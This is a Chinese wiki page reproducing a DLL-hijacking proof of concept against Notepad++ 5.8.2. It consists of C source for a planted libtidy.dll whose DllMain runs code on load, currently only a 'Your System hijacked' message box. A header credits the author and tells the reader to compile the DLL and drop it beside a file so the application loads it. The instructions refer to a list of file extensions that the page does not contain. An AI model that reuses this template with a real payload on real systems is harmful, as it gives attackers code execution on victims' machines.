用户工具

站点工具


dll_劫持代码:notepad_5.8.2

Notepad++ 5.8.2 DLL Hijacking

所属类别 libtidy.dll

libtidy.c
/*
#Notepad++ 5.8.2 DLL Hijacking Exploit (libtidy.dll)
#Author    :   anT!-Tr0J4n
#Greetz    :   Dev-PoinT.com ~ inj3ct0r.com  ~ All Dev-poinT members and my friends
#Email      :   D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com
#Software :  http://notepad-plus-plus.org/
#Tested on:   Windows XP sp3
#Home     :   www.Dev-PoinT.com
==========================
How  TO use : Compile and rename to  libtidy.dll , create a file in the same dir with one of the following extensions.
 check the result > Hack3d   
==========================
# libtidy.dll(code)
*/
 
#include "stdafx.h"
 
void init() {
MessageBox(NULL,"Your System hijacked", "anT!-Tr0J4n",0x00000003);
}
 
 
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
 )
{
    switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
 init();break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
break;
    }
    return TRUE;
}
你需要登录发表评论。
dll_劫持代码/notepad_5.8.2 · 最后更改: 2017/08/01 07:25

页面工具